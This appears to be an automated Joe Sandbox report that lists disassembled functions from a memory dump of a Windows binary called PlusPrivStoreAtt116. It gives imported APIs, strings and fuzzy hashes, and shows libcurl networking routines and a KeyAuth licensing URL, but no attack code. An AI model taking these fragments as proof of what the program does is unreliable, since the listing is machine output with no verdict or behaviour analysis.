Function 00007FF6029F748F Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029F9110: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F915C

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F7933

Part of subcall function 00007FF6029C0B50: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C0BA2

Strings

Serial Number, xrefs: 00007FF6029F7862
Signature Algorithm, xrefs: 00007FF6029F7907
Serial Number: %s, xrefs: 00007FF6029F787C
Signature Algorithm: %s, xrefs: 00007FF6029F7921

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 3061335427-517259162
Opcode ID: 632438d9ac447024213cf64137fedb5f060d340c63d455fcb278728206f4af24
Instruction ID: 0c0952699825c17c4bd86181e7fa4747ece67212975e4c4810e90212fa67f010
Opcode Fuzzy Hash: 632438d9ac447024213cf64137fedb5f060d340c63d455fcb278728206f4af24
Instruction Fuzzy Hash: DB3184A1E4978248EB908B6294441FA2F61BF05B8CF640835EE4E9B75BEFBCE144C300

Function 00007FF6029F7469 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 75COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029FAC20: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FAC55

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F7933

Part of subcall function 00007FF6029C0B50: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C0BA2

Strings

Serial Number, xrefs: 00007FF6029F7862
Signature Algorithm, xrefs: 00007FF6029F7907
Serial Number: %s, xrefs: 00007FF6029F787C
Signature Algorithm: %s, xrefs: 00007FF6029F7921

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 3061335427-517259162
Opcode ID: 9677d2b0a011c57c10e4aa2445b7a7815ea8b8af1046fe33e2643f36df8bb4f2
Instruction ID: 74d8d3891400fcc715c4678ce8753db4b3328ef2ae2f123bfaf119646bcf4296
Opcode Fuzzy Hash: 9677d2b0a011c57c10e4aa2445b7a7815ea8b8af1046fe33e2643f36df8bb4f2
Instruction Fuzzy Hash: 42318491E4978248EB909B6294441FA2FA1BF05B8CF640835EE4E9B75BEFBCE144C300

Function 00007FF6029E6273 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E628F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E630B

Strings

OS/400, xrefs: 00007FF6029E62D9
SITE NAMEFMT 1, xrefs: 00007FF6029E62EC

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc
String ID: OS/400$SITE NAMEFMT 1
API String ID: 3061335427-2049154998
Opcode ID: 4a9e05dfc51966e101f837aa05a72b838e2f85a4623016fdb596f5f70d8ea46e
Instruction ID: a2700845e12c8971cc46acd29eda0a51c15bd1bd5fe228e7a045ba06b78ecdef
Opcode Fuzzy Hash: 4a9e05dfc51966e101f837aa05a72b838e2f85a4623016fdb596f5f70d8ea46e
Instruction Fuzzy Hash: 5D31AE31A0D68381EBB18B26A4503B92B64BF5979CF604031CE8DD7786EEBCE586C310

Function 00007FF6029BB980 Relevance: 9.1, APIs: 6, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00000000), ref: 00007FF6029BB9B3
LeaveCriticalSection.KERNEL32(?,?,?,00000000), ref: 00007FF6029BB9C7
CloseHandle.KERNEL32 ref: 00007FF6029BB9D4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000), ref: 00007FF6029BB9F6
closesocket.WS2_32 ref: 00007FF6029BBA14
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000), ref: 00007FF6029BBA2D

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: CriticalSectionfree$CloseEnterHandleLeaveclosesocket
String ID:
API String ID: 469868127-0
Opcode ID: 5f3c904f0ae646e7217e9643221857d26f1b1b0a293a541f282175a39cabd730
Instruction ID: eb44de97f8dc9cbfeec33af03e969a2b638aea2f9027281ad4fdd68e0cecac62
Opcode Fuzzy Hash: 5f3c904f0ae646e7217e9643221857d26f1b1b0a293a541f282175a39cabd730
Instruction Fuzzy Hash: 8E21FC36608A4186E7219F53E6942697B70FF49B98F244131CF8E83B55DFB9E4A5C700

Function 00007FF6029B9BB8 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029D80B0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029D80D1

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B9C81

Strings

Added, xrefs: 00007FF6029B9F1D
%s cookie %s="%s" for domain %s, path %s, expire %I64d, xrefs: 00007FF6029B9F27
Replaced, xrefs: 00007FF6029B9F11
FALSE, xrefs: 00007FF6029B9C5B

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _errno_strdup
String ID: %s cookie %s="%s" for domain %s, path %s, expire %I64d$Added$FALSE$Replaced
API String ID: 2151398962-2292467869
Opcode ID: ae6b8994ec19ad4053c8a5285d89d30fd32302a12d5452887c14cdd28c29dbee
Instruction ID: 36554339ea50d1b44e757cd029cd00ea40b78602172a57802d952d67adabfa00
Opcode Fuzzy Hash: ae6b8994ec19ad4053c8a5285d89d30fd32302a12d5452887c14cdd28c29dbee
Instruction Fuzzy Hash: 49615021A1878645FFB68B17D6443B96FA4AF4575CF284036DB8D82693DFACF884CB10

Function 00007FF6029A2620 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029A4320: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF6029A1B59), ref: 00007FF6029A4351

Part of subcall function 00007FF6029A3C40: memcpy.VCRUNTIME140 ref: 00007FF6029A3C93

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A26F2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2740
__std_exception_copy.VCRUNTIME140 ref: 00007FF6029A2790
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A27DD

Strings

out_of_range, xrefs: 00007FF6029A2666

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memcpy$__std_exception_copy
String ID: out_of_range
API String ID: 2484256320-3053435996
Opcode ID: 4910cf63ee3357ecd4b6187b3e6a3d560b349bb99ce6059dd4b311dc1bc49d05
Instruction ID: bb6b7bacf9f86d69c0ac09212b9d4468baa889bd4aa8e1b3a8ee23f52ebe3b41
Opcode Fuzzy Hash: 4910cf63ee3357ecd4b6187b3e6a3d560b349bb99ce6059dd4b311dc1bc49d05
Instruction Fuzzy Hash: C1519B32E18B4299FB00CB65E8943AC3761EF447ACF504235EA6C43ADADFB8E195C300

Function 00007FF6029A4320 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF6029A1B59), ref: 00007FF6029A4351
memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF6029A1B59), ref: 00007FF6029A4416
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF6029A1B59), ref: 00007FF6029A446A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6029A4471

Part of subcall function 00007FF6029FFB18: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF6029A43FE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF6029A1B59), ref: 00007FF6029FFB32

Strings

https://keyauth.win/api/1.2/, xrefs: 00007FF6029A4322

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID: https://keyauth.win/api/1.2/
API String ID: 1155477157-3933380396
Opcode ID: e5d09450d75d7d0d2a987c36b25d823e2b26b5c7a33540b2d8d186e69df48b6a
Instruction ID: aba113859f1c3e284826b74ff9971f8dfa995157b0abd620fd9f96d3f6afd9e6
Opcode Fuzzy Hash: e5d09450d75d7d0d2a987c36b25d823e2b26b5c7a33540b2d8d186e69df48b6a
Instruction Fuzzy Hash: 92310322F0978548EF18DB16A6542781A819F41FFCF680630DE2D4BBD6DEFCE4828384

Function 00007FF6029CF860 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029CF8CA
tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029CF93B
_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF6029CF99B

Strings

Hostname in DNS cache was stale, zapped, xrefs: 00007FF6029CF9C2
:%u, xrefs: 00007FF6029CF8DE, 00007FF6029CF944

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: tolower$_time64
String ID: :%u$Hostname in DNS cache was stale, zapped
API String ID: 4068448496-2924501231
Opcode ID: 78cbedec7f8cce32c60e4a6791c285383e5d29da9d607bd30dc434ffb4fa044e
Instruction ID: 17af3fd2220b71f081921ba7bc3714d22a5215015a81deaeaef2348aafa8727b
Opcode Fuzzy Hash: 78cbedec7f8cce32c60e4a6791c285383e5d29da9d607bd30dc434ffb4fa044e
Instruction Fuzzy Hash: D441B222A1CA8291EB60DB12E4407B96B65EF44F9CF744632DE8E87B96DF7CE005C300

Function 00007FF6029E7320 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029DC990: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,00000000,00007FF6029C3D1F), ref: 00007FF6029DC9BE

_open.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029E73DF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E742B
_close.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029E7442
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E745B

Strings

Couldn't open file %s, xrefs: 00007FF6029E7409

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$_close_openmalloc
String ID: Couldn't open file %s
API String ID: 3412525164-447283422
Opcode ID: 0074623fa6ff74a2ece1bd6b24346a1457ce3b464ab42e5d9aa92a68c6f9fb29
Instruction ID: 7a74736eb37c874a9e7d654835e1814b595d42bcabb183d0d59f50f8632e413a
Opcode Fuzzy Hash: 0074623fa6ff74a2ece1bd6b24346a1457ce3b464ab42e5d9aa92a68c6f9fb29
Instruction Fuzzy Hash: B941A432A0878581EB648F66E4042BDAFA1FF45B98F245131DE9D87795EFBCE441C701

Function 00007FF6029C6690 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6029C670E

Part of subcall function 00007FF6029B2E10: GetLastError.KERNEL32 ref: 00007FF6029B2E32
Part of subcall function 00007FF6029B2E10: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2E3A

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C672C
recv.WS2_32 ref: 00007FF6029C6757
WSAGetLastError.WS2_32 ref: 00007FF6029C6769

Strings

Recv failure: %s, xrefs: 00007FF6029C6795

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast$_errnofreememcpyrecv
String ID: Recv failure: %s
API String ID: 267823591-4276829032
Opcode ID: c0b2c462bbfc6f6cf3140b48251a684da05401aabcc64ed099c3ee0977bb49c1
Instruction ID: f4eb06fb565d1032f65fc436f0c60828da521bb9e077151ffda8ca39afefb47d
Opcode Fuzzy Hash: c0b2c462bbfc6f6cf3140b48251a684da05401aabcc64ed099c3ee0977bb49c1
Instruction Fuzzy Hash: 4B31BD76B05B4181EB509F12E9942AA2B64BB88FDCF204931DE1D87785DEBCD466C740

Function 00007FF6029E16E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E171B
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E1761
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E17C6

Strings

RCPT TO:<%s>, xrefs: 00007FF6029E17AB
RCPT TO:<%s@%s>, xrefs: 00007FF6029E179D

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfreestrpbrk
String ID: RCPT TO:<%s>$RCPT TO:<%s@%s>
API String ID: 1812939018-579818044
Opcode ID: dbaaae04e0c0637cee1d8c578a156e15624b493c6880e1ad6b2898319cc183af
Instruction ID: 322bd73561c46476fa990f6dd4b767ccf327df9620c75be86cb4b564d40e5021
Opcode Fuzzy Hash: dbaaae04e0c0637cee1d8c578a156e15624b493c6880e1ad6b2898319cc183af
Instruction Fuzzy Hash: C4319966A18B8581EB01CB26E4403B9ABA1FF85B98F684231EA5D437D6DFBCD541C300

Function 00007FF6029F9610 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029F963D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F9B06

Strings

TRUE, xrefs: 00007FF6029F962B
%s: %s, xrefs: 00007FF6029F9AF1
FALSE, xrefs: 00007FF6029F9632

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree
String ID: %s: %s$FALSE$TRUE
API String ID: 1865132094-3430445539
Opcode ID: 48ef4f44275e059f43570315525e70aaac057089a6ab25aef8f9a0ec08dab94e
Instruction ID: 6ce4abf27dc7805536b4d9db984d0642470fcc1264cace8c7c5128a5c533288c
Opcode Fuzzy Hash: 48ef4f44275e059f43570315525e70aaac057089a6ab25aef8f9a0ec08dab94e
Instruction Fuzzy Hash: D5014061A0C78285FFE59B57A8543BA2B90BF45B88F684435DE4E87396DFACE185C300

Function 00007FF6029D735C Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 180COMMON

Download Yara Rule

Strings

SOCKS5: connecting to HTTP proxy %s port %d, xrefs: 00007FF6029D74B0
SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=%zu], xrefs: 00007FF6029D74D9
unknown, xrefs: 00007FF6029D73EA
warning: unsupported value passed to CURLOPT_SOCKS5_AUTH: %lu, xrefs: 00007FF6029D74F9

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: SOCKS5: connecting to HTTP proxy %s port %d$SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=%zu]$unknown$warning: unsupported value passed to CURLOPT_SOCKS5_AUTH: %lu
API String ID: 0-3012371547
Opcode ID: 2d5846d91ca8bc3f177153579fe7229ceec76d9fb31dec10718d32371e88f8f6
Instruction ID: 84884b4835bb192d290f99c00fb9ecf36b65483f7aa5c363bdf113feebfccefb
Opcode Fuzzy Hash: 2d5846d91ca8bc3f177153579fe7229ceec76d9fb31dec10718d32371e88f8f6
Instruction Fuzzy Hash: 5B61B073A0C38287E7058BA5E4403ADBFA1EF95B98F644135DA4D87786EE7CE441DB10

Function 00007FF6029B0B80 Relevance: 7.7, APIs: 5, Instructions: 178COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029A3D80: memcpy.VCRUNTIME140(?,?,?,00007FF6029B0BDD,?,?,?,?,?,?,?,0000006E00000006,00000000,?,0000000100000000,00007FF6029A1744), ref: 00007FF6029A3E32
Part of subcall function 00007FF6029A3D80: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6029A3E57

Part of subcall function 00007FF6029A3D80: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF6029B0BDD,?,?,?,?,?,?,?,0000006E00000006,00000000,?,0000000100000000,00007FF6029A1744), ref: 00007FF6029A3E14

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B0DF0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B0DF7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B0DFE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B0E05
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B0E0C

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskmemcpy
String ID:
API String ID: 2318677668-0
Opcode ID: 9ee18b699d0ee2b22d0ea26408a5de4c3e2fe866b50876750de1e766a30f708b
Instruction ID: bd0ff1063c2621642742a17f070d84272bfccf07df874c2a435db2282d7c09b5
Opcode Fuzzy Hash: 9ee18b699d0ee2b22d0ea26408a5de4c3e2fe866b50876750de1e766a30f708b
Instruction Fuzzy Hash: ED61B362A04BC185EB21DB16E5983BE7B61EF41B88F604035DA4D47A9ADFBDD4D4C340

Function 00007FF6029F4C40 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029F4BA0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029F1635), ref: 00007FF6029F4BC6
Part of subcall function 00007FF6029F4BA0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029F1635), ref: 00007FF6029F4BE7
Part of subcall function 00007FF6029F4BA0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029F1635), ref: 00007FF6029F4C02
Part of subcall function 00007FF6029F4BA0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029F1635), ref: 00007FF6029F4C10
